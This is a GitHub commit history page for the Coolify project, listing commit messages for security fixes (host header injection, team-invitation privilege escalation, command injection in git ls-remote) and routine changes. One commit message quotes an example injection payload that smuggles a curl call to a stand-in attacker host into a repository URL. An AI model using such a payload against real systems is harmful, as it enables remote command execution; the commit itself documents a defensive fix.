Commit graph

15009 commits

Author SHA1 Message Date
Andras Bacsai
5ce0670ca4 fix: ensure negative cache results are stored in TrustHosts middleware
Problem:
- Cache::remember() does not cache null return values
- When no FQDN was configured, the closure returned null
- This caused DB queries on every request, defeating the cache

Solution:
- Use empty string ('') as sentinel value instead of null
- Convert sentinel back to null after retrieving from cache
- Now both positive and negative results are cached properly

Changes:
- Return empty string from closure instead of null
- Add explicit sentinel-to-null conversion after cache retrieval
- Add test to verify negative caching works correctly

This ensures zero DB queries even when FQDN is not configured.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 22:15:55 +02:00
Andras Bacsai
922884e6d3 feat: implement TrustHosts middleware to handle FQDN and IP address trust logic
This commit fixes a critical Host Header Injection vulnerability in the password reset flow that could lead to account takeover.

Security Issue:
- Attackers could inject malicious host headers (e.g., legitimate.domain.evil.com)
- Password reset emails would contain links to attacker-controlled domains
- Attackers could capture reset tokens and takeover accounts

Changes:
- Enable TrustHosts middleware in app/Http/Kernel.php
- Update TrustHosts to trust configured FQDN from InstanceSettings
- Add intelligent caching (5-min TTL) to avoid DB query on every request
- Automatic cache invalidation when FQDN is updated
- Support for domains, IP addresses (IPv4/IPv6), and ports
- Graceful fallback during installation when DB doesn't exist

Test Coverage:
- Domain validation (with/without ports)
- IP address validation (IPv4, IPv6)
- Malicious host rejection
- Cache creation and invalidation
- Installation edge cases

Performance:
- 99.9% reduction in DB queries (1 query per 5 minutes vs every request)
- Zero performance impact on production workloads

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 22:00:21 +02:00
Andras Bacsai
4acbee7399
Merge pull request #6890 from coollabsio/conductor/api-enabled-in-dev
Enable API by default in development mode
2025-10-15 21:35:49 +02:00
Andras Bacsai
d2ca20ccde Enable API by default in development mode
- API is now enabled by default when running in development mode
- Production instances keep API disabled by default (existing behavior)
- Uses isDev() helper to determine environment

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 21:34:44 +02:00
Andras Bacsai
2a7dd716af
Update SECURITY.md 2025-10-15 20:59:32 +02:00
Andras Bacsai
5c61b27a96
Merge pull request #6884 from coollabsio/fix-invite-privilege-escalation
fix: critical privilege escalation in team invitation system
2025-10-15 20:56:39 +02:00
Gauthier POGAM--LE MONTAGNER
0d11bdbfb6 feat(signoz): pin service image tags and exclude_from_hc flag to services excluded from health checks 2025-10-15 18:50:09 +02:00
Romain ROCHAS
78f3689ecd
Update templates/compose/n8n-with-postgres-and-worker.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-15 16:24:39 +02:00
Romain ROCHAS
2973818046
Update templates/compose/n8n-with-postgres-and-worker.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-15 16:24:18 +02:00
Romain ROCHAS
2dd84317b4
Merge branch 'next' into update-n8n 2025-10-15 16:01:44 +02:00
Romain ROCHAS
092803ba85
Update templates/compose/n8n.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-15 16:01:34 +02:00
Romain ROCHAS
bfaf3b371d
Update templates/compose/n8n-with-postgresql.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-15 16:01:26 +02:00
Andras Bacsai
eecf22f6a5 feat: implement TrustHosts middleware to handle FQDN and IP address trust logic 2025-10-15 15:28:21 +02:00
Andras Bacsai
e88f50912c fix: add authentication context to TeamPolicyTest
The tests were failing because User::role() depends on Auth::user() and
currentTeam() session being set. Added actingAs() and session setup to
each test to properly authenticate users before checking permissions.

This fixes the 'Attempt to read property "teams" on null' errors.
2025-10-15 15:08:35 +02:00
Andras Bacsai
326218728e
Merge pull request #6886 from coollabsio/fix-env-special-chars
fix: handle null environment variable values in bash escaping
2025-10-15 15:03:00 +02:00
Andras Bacsai
92e5fb247d
Merge pull request #6887 from coollabsio/fix-command-injection-deploy-key
fix: prevent command injection in git ls-remote operations
2025-10-15 14:58:58 +02:00
Andras Bacsai
8f8c90b7ae fix: prevent command injection in git ls-remote operations
**Security Fix: Command Injection Vulnerability**

This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.

**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`

**Changes Made:**

1. **deploy_key deployment type** (Application.php:1111-1112):
   - Added proper escaping for `$customRepository` in git ls-remote commands
   - Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
   - Wraps repository URL in single quotes to prevent interpretation of shell metacharacters

2. **source deployment type with GithubApp** (Application.php:1067-1086):
   - Added `escapeshellarg()` for all repository URL variations
   - Covers both public and private repositories
   - Handles both Docker and non-Docker execution contexts

3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
   - Tests for deploy_key type command injection prevention
   - Tests for source type with public repos
   - Tests for other type (already fixed in previous commit)
   - Validates that malicious payloads are properly escaped

**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.

**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 14:53:50 +02:00
Andras Bacsai
ed07e662ea
Update bootstrap/helpers/docker.php
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2025-10-15 14:51:36 +02:00
Andras Bacsai
41afa9568d fix: handle null environment variable values in bash escaping
Previously, the bash escaping functions (`escapeBashEnvValue()` and `escapeBashDoubleQuoted()`) had strict string type hints that rejected null values, causing deployment failures when environment variables had null values.

Changes:
- Updated both functions to accept nullable strings (`?string $value`)
- Handle null/empty values by returning empty quoted strings (`''` for single quotes, `""` for double quotes)
- Added 3 new tests to cover null and empty value handling
- All 29 tests pass

This fix ensures deployments work correctly even when environment variables have null values, while maintaining the existing behavior for all other cases.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 13:35:58 +02:00
Andras Bacsai
336fa0c714 fix: critical privilege escalation in team invitation system
This commit addresses a critical security vulnerability where low-privileged
users (members) could invite high-privileged users (admins/owners) to teams,
allowing them to escalate their own privileges through password reset.

Root Causes Fixed:
1. TeamPolicy authorization checks were commented out, allowing all team
   members to manage invitations instead of just admins/owners
2. Missing role elevation checks in InviteLink component allowed members
   to invite users with higher privileges

Security Fixes:

1. app/Policies/TeamPolicy.php
   - Uncommented and enforced authorization checks for:
     * update() - Only admins/owners can update team settings
     * delete() - Only admins/owners can delete teams
     * manageMembers() - Only admins/owners can manage team members
     * viewAdmin() - Only admins/owners can view admin panel
     * manageInvitations() - Only admins/owners can manage invitations

2. app/Livewire/Team/InviteLink.php
   - Added explicit role elevation checks to prevent:
     * Members from inviting admins or owners
     * Admins from inviting owners (defense-in-depth)
   - Validates that inviter has sufficient privileges for target role

Test Coverage:

1. tests/Feature/TeamPolicyTest.php
   - 24 comprehensive tests covering all policy methods
   - Tests for owner, admin, member, and non-member access
   - Specific tests for the privilege escalation vulnerability

2. tests/Feature/TeamInvitationPrivilegeEscalationTest.php
   - 11 tests covering all role elevation scenarios
   - Tests member → admin/owner escalation (blocked)
   - Tests admin → owner escalation (blocked)
   - Tests valid invitation paths for each role

Impact:
- Prevents privilege escalation attacks
- Protects all Coolify instances from unauthorized access
- Enforces proper role hierarchy in team management

References:
- Identified by Aikido AI whitebox pentest service
- CVE: Pending assignment
- Severity: Critical

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 11:42:25 +02:00
Ariq Pradipa Santoso
8817e22569 feat(templates): add SMTP configuration to ente-photos compose templates
Add environment variables for SMTP host, port, username, password, email, and sender name to enable email functionality in the museum service. This enhances the ente-photos setup with email capabilities for notifications or other features.
2025-10-15 16:22:49 +07:00
Andras Bacsai
0bb2210b99
Update SECURITY.md 2025-10-15 11:14:14 +02:00
github-actions[bot]
aa1d929f54 docs: update changelog 2025-10-15 09:10:52 +00:00
Andras Bacsai
956c24de1a
Merge pull request #6758 from coollabsio/next
v4.0.0-beta.435
2025-10-15 11:09:51 +02:00
Andras Bacsai
23c1184e86
Merge pull request #6880 from coollabsio/andrasbacsai/fix-new-image-quick-action
fix: 'new image' quick action not progressing to resource selection
2025-10-15 10:51:21 +02:00
Andras Bacsai
73837058c3
Merge pull request #6879 from coollabsio/fix-docker-image-digest-cleanup
fix: improve Docker image digest handling and add auto-parse feature
2025-10-15 10:49:30 +02:00
Andras Bacsai
66cff9d9b8 fix: 'new image' quick action not progressing to resource selection
Fixed three issues preventing the "new image" quick action from working:

1. Frontend matching logic wasn't checking the quickcommand field
   - Added check for item.quickcommand in the matching logic
   - Now "new image" matches docker-image via its quickcommand "(type: new image)"

2. Search query remained populated after triggering selection flow
   - Clear searchQuery in navigateToResourceCreation() to show selection UI
   - This switches the UI from creatable items list to server selection

3. Redirect wasn't using Livewire's redirect method
   - Changed from redirect()->route() to $this->redirect(route())
   - Ensures proper Livewire component redirect behavior

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 10:49:07 +02:00
Andras Bacsai
20b4288916 fix: improve Docker image digest handling and add auto-parse feature
- Replace manual regex parsing with DockerImageParser in ApplicationsController
- Fix double-decoration bug where image names like nginx@sha256:hash would
  become nginx:hash@sha256 causing malformed references
- Add auto-parse feature in Livewire DockerImage component
- Users can now paste complete references like nginx:stable@sha256:abc123...
  and fields auto-populate
- Update UI placeholder with examples: nginx, docker.io/nginx:latest,
  ghcr.io/user/app:v1.2.3, nginx:stable@sha256:abc123...
- Add comprehensive unit tests for auto-parse functionality
- All tests passing (20 tests, 73 assertions)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 10:19:01 +02:00
Andras Bacsai
d1379f666a
Merge pull request #6878 from coollabsio/fix-digest-tag-prefix
fix: use computed imageTag variable for digest-based Docker images
2025-10-15 10:12:50 +02:00
Andras Bacsai
3e2f124c83 fix: use computed imageTag variable for digest-based Docker images
The code was computing $imageTag with the 'sha256-' prefix for digest-based
images but then using $parser->getTag() directly when creating the Application,
which bypassed the prefix logic entirely.

This fix ensures that digest-based Docker images preserve their 'sha256-' prefix
by using the computed $imageTag variable instead of calling $parser->getTag()
directly.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 09:36:59 +02:00
Andras Bacsai
6d3c996ef3
Merge pull request #6869 from coollabsio/allow-at-sign-in-git-urls
fix(git): handle Git redirects and improve URL parsing for tangled.sh and other Git hosts
2025-10-15 09:15:35 +02:00
Andras Bacsai
81455b1b5f
Merge pull request #6863 from YaRissi/hetzner/cpu_vendor
feat(hetzner): add CPU vendor information to server types in Hetzner integration
2025-10-15 09:03:12 +02:00
Lucas Reis
23250d53c4
Merge branch 'next' into feat/update-applicationpullrequestupdatejob-documentation 2025-10-15 00:59:02 +02:00
Lucas Reis
232e030838 Include service name in preview deployment updates 2025-10-15 00:53:23 +02:00
Titouan V
813c0d1e84
Update templates/compose/cap.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-14 23:42:45 +02:00
Titouan V
f1f7fdb94b
Update templates/compose/cap.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-14 23:42:30 +02:00
Titouan V
bb09eb1587
Update templates/compose/cap.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-14 23:42:22 +02:00
Titouan V
a0dbdab949
Update templates/compose/cap.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-14 23:42:12 +02:00
Titouan V
9e778e8669
Update templates/compose/cap.yaml
Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
2025-10-14 23:42:03 +02:00
Andras Bacsai
375aeccb6b fix: restore original run script functionality in conductor.json 2025-10-14 23:25:34 +02:00
Andras Bacsai
f9f1d87bf7 fix: update run script to use bun for development 2025-10-14 21:52:32 +02:00
Andras Bacsai
a9d899334f
Merge branch 'next' into allow-at-sign-in-git-urls 2025-10-14 20:46:08 +02:00
Andras Bacsai
7bdd53b3fb
Merge pull request #6871 from coollabsio/fix-static-publish-dir-slash
Fix static site publish directory double slash in build logs
2025-10-14 20:45:49 +02:00
Andras Bacsai
933a67645f
Update app/Jobs/ApplicationDeploymentJob.php
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2025-10-14 20:45:40 +02:00
Andras Bacsai
2692ef8a57
Merge pull request #6873 from coollabsio/dockerfile-env-fix
Fix: Pure Dockerfile deployment failing due to missing .env file
2025-10-14 20:44:37 +02:00
Andras Bacsai
b81baff4b1 fix: improve logging and add shell escaping for git ls-remote
Two improvements to Git deployment handling:

1. **ApplicationDeploymentJob.php**:
   - Fixed log message to show actual resolved commit SHA (`$this->commit`)
   - Previously showed `$this->application->git_commit_sha` which could be "HEAD"
   - Now displays the actual 40-character commit SHA that will be deployed

2. **Application.php (generateGitLsRemoteCommands)**:
   - Added `escapeshellarg()` for repository URL in 'other' deployment type
   - Prevents shell injection in git ls-remote commands
   - Complements existing shell escaping in `generateGitImportCommands`
   - Ensures consistent security across all Git operations

**Security Impact:**
- All Git commands now use properly escaped repository URLs
- Prevents command injection through malicious repository URLs
- Consistent escaping in both ls-remote and clone operations

**User Experience:**
- Deployment logs now show exact commit SHA being deployed
- More accurate debugging information for deployment issues

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 20:44:35 +02:00
Andras Bacsai
ebfc87753e
Merge branch 'next' into allow-at-sign-in-git-urls 2025-10-14 20:44:10 +02:00
Andras Bacsai
91e070b2c3 fix: add missing save_runtime_environment_variables() in deploy_simple_dockerfile
Fixes pure Dockerfile deployment failing with 'env file not found' error.

The deploy_simple_dockerfile() method was missing the call to
save_runtime_environment_variables() which creates the .env file
needed during the rolling update phase. This call is present in
all other deployment methods (dockerfile, dockercompose, nixpacks,
static) but was missing here.

This ensures the .env file exists when docker compose tries to
use --env-file during the rolling update.
2025-10-14 20:43:11 +02:00
Andras Bacsai
941afa3585
Merge pull request #6872 from coollabsio/andrasbacsai/db-general-auth-check
fix: add authorization checks to database Livewire components
2025-10-14 17:36:21 +02:00
Andras Bacsai
652f523f5b test: improve Git ls-remote parsing tests with uppercase SHA and negative cases
Enhanced test coverage to match production code regex pattern and prevent
false positives by adding comprehensive edge case testing.

**Changes:**

1. **Updated regex pattern to match production code**:
   - Changed from `/([0-9a-f]{40})\s*\t/` to `/\b([0-9a-fA-F]{40})(?=\s*\t)/`
   - Now handles both uppercase and lowercase hex characters (A-F and a-f)
   - Uses word boundary `\b` for more precise matching
   - Uses lookahead `(?=\s*\t)` instead of capturing whitespace

2. **Added uppercase SHA test**:
   - Tests extraction of uppercase commit SHA (196D3DF7...)
   - Normalizes to lowercase using `strtolower()` for comparison
   - Reflects Git's case-insensitive SHA handling

3. **Added negative test cases**:
   - Tests output with no commit SHA present (error messages only)
   - Tests output with tab but invalid SHA format
   - Ensures `null` is returned to prevent false positives

**Test Coverage:**
- 8 total tests (up from 5)
- Covers all positive cases (lowercase, uppercase, warnings, whitespace)
- Covers negative cases (missing SHA, invalid format)
- Regex pattern now exactly matches production code in ApplicationDeploymentJob.php:1908

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 17:34:26 +02:00